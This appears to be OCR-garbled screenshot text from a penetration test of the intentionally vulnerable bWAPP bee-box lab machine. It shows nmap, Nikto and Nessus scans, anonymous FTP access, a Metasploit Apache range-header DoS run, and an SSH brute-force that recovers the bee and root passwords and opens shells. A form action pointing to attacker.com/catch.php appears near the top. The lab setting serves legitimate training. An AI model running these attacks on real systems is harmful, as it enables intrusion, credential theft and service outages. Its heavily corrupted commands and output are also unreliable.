Form action: /drupal/?q=nodesdestinatio

0/drupal/?q=nodesanp; destination=node

nodex3Fampx2538destination3Dnode

/192.168.2.73:
user-login-form
Form action: /drupal/?q=nodesdestination=node

0/drupal/

//192.168.2.73:80/drupal/?q-user/register
: user-register—form
Form action: /drupal/?q-user/register

Path: http://192.168.2.73:
user-pass
Form action: /drupal/?q-user/password

0/drupal/?q=user/password

/192.168.2.73:
Togin
action: http://attacker.com/catch.php?

0/evil/sandbox.htm
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5901/tcp open vnc-1
6001/tcp open X11:1
8080/tcp open http-proxy
http-vuln-cve2011-3192:
VULNERABLE:
Apache byterange filter Dos
State: VULNERABLE
IDs: BID:49303 CVE:CVE-2011-3192
The Apache web server is vulnerable to a denial of service attack when numerous
overlapping byte ranges are requested.
Disclosure date: 2011-08-19
References:
https://cve.mitre.org/cgi-bin/cvenane. cgi?name-CVE-2011-3192
// wni . securityFocus . con/bid/49303
//seclists.org/fulldisclosure/2011/Aug/175
L https://wm . tenable.con/plugins/nessus/55976
http-enun:
/crossdomain.xml: Adobe Flash crossdomain policy
http-cross-domain-policy:
VULNERABLE:
Cross-domain and Client Access policies.

State: VULNERABLE
A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Rea

der,
| etc. use to access data across different domains. A client acces policy file is similar to cross-domain pol
icy
but is used for M$ Silverlight applications. Overly permissive configurations enables Cross-site Request
Forgery attacks, and may allow third parties to access sensitive data meant for the user.
Check result
/crossdomain. xml
<zxml_version="1.0"7>
<IDOCTYPE cross-domain-policy SYSTEM "htt,
<cross-domain-policy>
<allow-access-fron domain="+" />
</cross-domain-policy>
Extra information:
Trusted domains:*

// wni .macromedia. com/xml /dtds/cross-domain-policy.dtd">

References:
https: //wmi .adobe . con/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile Specification.pdf

http://acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file
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1§ sudo nmap 192.168.2.73 -sV -A -sC -0 scan.txt

Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-04 01:27 CST
Nmap scan report for 192.168.2.73

Host is up (0.0013s latency).

Not shown: 983 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp ProfFTPD 1.3.1
ftp-anon: Anonymous FTP login allowed (FTP code 230)
-rw-rw-r— 1 root  wm-data 543803 Nov 2 2014 Iron Man.pdf
-rw-rw-r— 1root  wm-data 462949 Nov 2 2014 Terminator_Salvation.pdf
-rw-rw-r— 1root  wmw-data 544600 Nov 2 2014 The Amazing Spider-Man.pdf
-rw-rw-r— 1root  wmw-data 526187 Nov 2 2014 The Cabin_in_the Woods.pdf
-rw-rw-r— 1root  wm-data 756522 Nov 2 2014 The Dark Knight Rises.pdf
-rw-rw-r— 1root  wmw-data 618117 Nov 2 2014 The_Incredible Hulk.pdf
_-rw-rw-r— 1 root  wmw-data 5010042 Nov 2 2014 bWAPP_intro.pdf
22/tcp  open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)

ssh-hostkey:
1024 45:a4:66:ec:3a:ba:97:f8:3e:la:ba:1c:24:68:22:e8 (DSA)
_ 2048 63:e7:c5:d1:8d:8a:94:02:36:6a:d7:d2:75:e9:8b:ce (RSA)
25/tcp  open smtp Postfix smtpd
_smtp-commands: bee-box, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, SBITMIME, DSN
sslv2:
ssLv2 supported
ciphers
SSL2_DES_192_EDE3_CBC_WITH_ND5
SSL2_RC2_128_CBC_EXPORTA4®_WITH_ND5
SSL2_DES_64_CBC_WITH_ND5
SSL2_RC4_128_EXPORTA40_WITH_ND5
SSL2_RC2_128_CBC_WITH_MD5
SSL2_RC4_128_WITH_MDS
sSubject: commonName-ubuntu/organizationName=0C0SA/stateOrProvinceName=There is no such thing outside US

Not valid before: 2013-03-28T19:14:17
_Not valid after: 2013-04-27T19:14:17

ssl-date: 2024-01-04T07:30:11:00:00; -1s from scanner time.

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Pat
ch mod_ss1/2.2.8 OpenssL/0.9.8g)

_nttp-title: Site doesn't have a title (text/html).

http-methods:

_ Potentially risky methods: TRACE

http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2
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SSLv2 supported
ciphers:
SSL2_DES_192_EDE3_CBC_WITH_MDS
SSL2_RC2_128_CBC_EXPORT40_WITH_MDS
SSL2_DES_64_CBC_WITH_MDS
SSL2_RC4_128_EXPORT40_WITH_MDS
SSL2_RC2_128_CBC_WITH_MD5
_ SSL2_RC4_128_WITH_MDS
ssl-cert: Subject: commonName=bee-box.bwapp.local/organizationName-MME/stateOrProvinceNane=Flanders/countryName=8

E
Not valid before: 2013-04-14T18:11:32
_Not valid after: 2018-04-13T18:11:32
ssl-date: 2024-01-04T07:30:04+00:00; 0s from scanner time.
_nttp-server-header: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2
.2.8 OpenssL/0.9.8g
| _http-title: Site doesn't have a title (text/html).
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
666/tcp open doom?
fingerprint-strings:
GenericLines, beast2:
*%% BWAPP Movie Service wtx
_ Matching movies: o
3306/tcp open mysql MySQL 5.0.96-0ubuntu3
mysql-info:
Protocol: 10
Version: 5.0.96-0ubuntu3
Thread I0: 304
Capabilities flags: 41516
Some Capabilities: SupportsTransactions, LongColumnFlag, SupportsCompression, ConnectWithDatabase, Support4lAut
h, Speaks41ProtocolNew
Status: Autocommit
_ salt: wehP9i),a-Si6n3fD".h
“ssl-date: ERROR: Script execution failed (use -d to debug)
tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
_tls-alpn: ERROR: Script execution failed (use -d to debug)

5901/tcp open vnc VNC (protocol 3.8)
6001/tcp open X11 (access denied)
8080/tcp open http nginx 1.4.0

_nttp-title: Site doesn't have a title (text/html).
nttp-server-header: nginx/1.4.0

nttp-open-proxy: Proxy might be redirecting requests
8443/tcp open ssl/http  nginx 1.4.0

| _http-title: Site doesn't have a title (text/html).
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$ nikto -h 192.168.2.73
- Nikto v2.1.6

+ Target IP: 192.168.2.73
+ Target Hostname:  192.168.2.73

+ Target Port: 80

+ Start Time: 2024-01-04 00:52:44 (GMT-6)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2.2.8 OpensSL
/0.9.8g

+ Server may leak inodes via ETags, header found with file /, inode: 838422, size: 588, mtime: Sun Nov 2 12:20:24
2014

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XsS-Protection header is not defined. This header can hint to the user agent to protect against some forms
of XsS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site i
n a different fashion to the MIME type

+ No CGI Directories found (use '-C all’ to force check all possible dirs)

+ /crossdomain.xml contains a full wildcard entry. See http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-
invites-cross-site.html

+ Uncommon header 'tcn’ found, with contents: list

+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See h
ttp: //wmi.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index’ were found: index.bak, index
.html

+ OpenssL/0.9.8g appears to be outdated (current is at least 1.1.1). OpensSL 1.0.00 and 0.9.8zc are also current.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x bra
nch.

+ mod_ss1/2.2.8 appears to be outdated (current is at least 2.8.31) (may depend on server version)

+ PHP/5.2.4-2ubuntus appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may als
o current release for each branch.

+ mod_ss1/2.2.8 0penSSL/0.9.8¢ - mod_ss1 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow
a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgiZname=CVE-2002-0082, OSVDB-756.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ 0SVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ 0SVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file
or restrict access to allowed sources.

+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntus

+ 0SVDB-3092: /phpmyadnin/changelog.php: phpMyAdnin is for managing MySQL databases, and should be protected or lim
ited to authorized hosts.

+ 0SVDB-3268: /icons/: Directory indexing found.

+ 0SVDB-3092: /README: README file found.
+ 0SVDB-3092: /INSTALL.txt: Default file found.

+ 0SVDB-3233: /icons/README: Apache default file found.

+ /phpmyadmin/: phpMyAdmin directory found

+ 0SVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected o

r limited to authorized hosts.
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See Also
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No output recorded.

To see debug logs, please visit individual host
Port s Hosts

245 11cp  cifs 192.168.2.73

Product Coverage: Medium
CVSSV3 Impact Score: 5.9
Threat Sources: No recorded events

Risk Information

Vulnerability Priority Rating (VPR): 5.9
Risk Factor: Critical

VS5 v2.0 Base Score: 10.0

VS5 v2.0 Temporal Score: 7.4

CVSS v2.0 Vector: CVSS2#AV:N/ACL/AUN/C:C
NTAC

VS5 v2.0 Temporal Vector:
CVSS2H4E:U/RLIOFIRCC

Vulnerability Information

CPE: cper/asamba:samba
Exploit Available: false

Exploit Ease: No known exploits are available
Patch Pub Date: February 21, 2012
Vulnerability Pub Date: February 21, 2012

Reference Information

BID: 52103
CVE: CVE-2012-0870
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Read More.

output

The following certificates were part of the certificate chain sent by
the remote host, but contain hashes that are considered to be weak.

subject E/ST=Flanders /L=Menen/O=MIE/OU=IT/CN=bee-box.. bwapp - 1ocal
/E=bwappeitsecganes. con

Signature Algorithm : SHA-L With RSA Encryption

valid From Apr 14 18:11:32 2013 GMT

Valid To : Apr 13 18:11:32 2018 GMT

To see debug logs, please visit individual host

Port + Hosts
43/ cp L 192168273
9443 tcp e 192168273
8443 tcp 192168273

Risk Factor: Medium
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Exploit Available: true

Exploit Ease: Exploits are available
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Reference Information

CwE: 210
CERT: 836068

BID: 11849, 33065

CVE: CVE-2004-2761, CVE-2005-4900
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L§ ftp 192.168.2.73

Connected to 192.168.2.73.

220 ProfTPD 1.3.1 Server (bee-box) [192.168.2.73]

Name (192.168.2.73:kali): anonymous
331 Anonymous login ok, send your complete email address as your password

Password:

230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.

fip> s

200 PORT command successful
150 Opening ASCIT mode data connection for file list

1 root
1 root

1 root

1 root

1 root

1 root

1 root

226 Transfer complete
ftp> get Iron Man.pdf

wnn-data
wn-data

wi-data

wi-data

wwi-data

wi-data

wi-data

543803
462949

544600

526187

756522

618117

5010042

Tlocal: Iron Man.pdf remote: Iron Man.pdf
200 PORT command successful
150 Opening BINARY mode data connection for Iron_Man.pdf (543803 bytes)

226 Transfer complete

Nov
Nov

Nov

Nov

Nov

Nov

Nov

2

543803 bytes received in 0.16 secs (3.3144 MB/s)

2014
2014

2014

2014

2014

2014

2014

Iron_Man.pdf
Terninator_Salvation.p

The_Amazing_Spider-Man
The_Cabin_in_the_Woods
The_Dark_Knight Rises.
The_Incredible_Hulk.pd

bWAPP_intro.pdf
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about any command
msf6 > search CVE-2011-3192

Matching Modules

# Name Disclosure Date Rank  Check Description
0 auxiliary/dos/http/apache_range dos 2011-08-19 normal No  Apache Range
Header Dos (Apache Killer) I

Interact with a module by name or index. For example info 0, use @ or use auxiliary/dos/
http/apache_range_dos

msf6 > use auxiliary/dos/http/apache_range_dos
msf6 auxiliary(cos/iiip/apachc range dos) > set RHOSTS 192.168.2.73 i
RHOSTS = 192.168.2.73

msf6 auxiliary(os/itip/apache range dos) > set RPORT 443
RPORT = 443 «
msf6 auxiliary(dos/http/apache range dos) > run

[+] Sending DoS packet 1 to 192.168.2.73:
[+] Sending DoS packet 2 to 192.168.2.73
[+] Sending DoS packet 3 to 192.168.2.73
[+] Sending DoS packet 4 to 192.168.2.73
[+] Sending DoS packet 5 to 192.168.2.73
[+] Sending DoS packet 6 to 192.168.2.73
[+] Sending DoS packet 7 to 192.168.2.73
[+] Sending DoS packet & to 192.168.2.73
[+] Sending DoS packet 9 to 192.168.2.73
[+] Sending DoS packet 10 to 192.168.2.7.
[+] Sending DoS packet 11 to 192.168.2.73:443
[+] Sending DoS packet 12 to 192.168.2.7.

[+] Sending DoS packet 13 to 192.168.2.7.
[+] Sending DoS packet 14 to 192.168.2.73:443
[+] Sending DoS packet 15 to 192.168.2.7.

[+] Sending DoS packet 16 to 192.168.2.7.
[+] Sending DoS packet 17 to 192.168.2.73:443
[+] Sending DoS packet 18 to 192.168.2.7.

[+] Sending DoS packet 19 to 192.168.2.7.
[+] Sending DoS packet 20 to 192.168.2.73:443
[+] Sending DoS packet 21 to 192.168.2.7.

[+] Sending DoS packet 22 to 192.168.2.7.
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msf6 auxiliary(scanner/ssi/s<h lozin) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none,
user, userérealm)

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wik
i/Using-Metasploit

RPORT 2 yes The target port

STOP_ON_SUCCESS ~ false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE false yes Whether to print output for all attempts

msf6 auxiliary(scanncr/ssi/ssh login) > set RHOSTS 192.168.2.73

RHOSTS = 192.168.2.73

msf6 auxiliary(-conner/<oh/soh lozin) > set USER_FILE /home/kali/user.txt
USER_FILE = /home/kali/user.txt

msf6 auxiliary(=conner/<si/soh lozin) > set PASS_FILE /home/kali/pass.txt
PASS_FILE = /home/kali/pass.txt

msf6 auxiliary(sconner/ssh/ssh lozin) > run

[+] 192.168.2.73:22 - Starting bruteforce

[+] 192.168.2.73:22 - Success: 'bee:bug’ 'uid=1000(bee) gid-1000(bee) groups=s(adm),20(dialout),24(cdrom),25(floppy),29(audi
0),30(dip),44(video),46(plugdev),107(fuse),109(1padmin),115(admin),125(sambashare),1000(bee) Linux bee-box 2.6.24-16-generic
#1 SWP Thu Apr 10 13:23:42 UTC 2008 1685 GNU/Linux '

[+] Command shell session 1 opened (192.168.2.107:46661 — 192.168.2.73:22 ) at 2024-01-04 03:54:19 -0600

[+] 192.168.2.73:22 - Success: 'root:bug' 'uid=0(root) gid=0(root) groups=0(root) Linux bee-box 2.6.24-16-generic #1 SWP Thu
Apr 10 1 2 UTC 2008 1686 GNU/Linux '

[+] Command shell session 2 opened (192.168.2.107:
[+] Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

msf6 auxiliary(scanner/ssh/ssh lozin) > Il

9863 — 192.168.2.73:22 ) at 2024-01-04 03:56:23 -0600
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[*] Auxiliary module execution completed
msf6 auxiliary(sconner/=si/s5h lozin) > show sessions

Active sessions

Id Name Type Information Connection

1 shell linux SSH bee:bug (192.168.2.7: 192.168.2.107:46661 — 192.168.2.7;
2 shell linux SSH root:bug (192.168.2.73:22) 192.168.2.107:39863 — 192.168.2.7.

2 (192.168.2.73)
2 (192.168.2.73)

msf6 auxiliary(scanner/ssi/ssh login) > session 1
1s

whoam| | Unknown command: session

imsfe auxiliary(scanner/sh/ssh login) > 1s

[*] exec: 1s

Desktop  Downloads  Music pass.txt Public  Templates Videos
Documents  Tron Man.pdf Nessus-10.3.0-debian9_amdei.deb Pictures scan.txt user.txt

msf6 auxiliary(-conncr/ssh/soh lozin) > sessions 1

[+] Starting interaction with 1

SSH bee:bug (192.168.2.73:22)
1s

Desktop

Documents

Examples

Music

Pictures

Public

Templates

Videos
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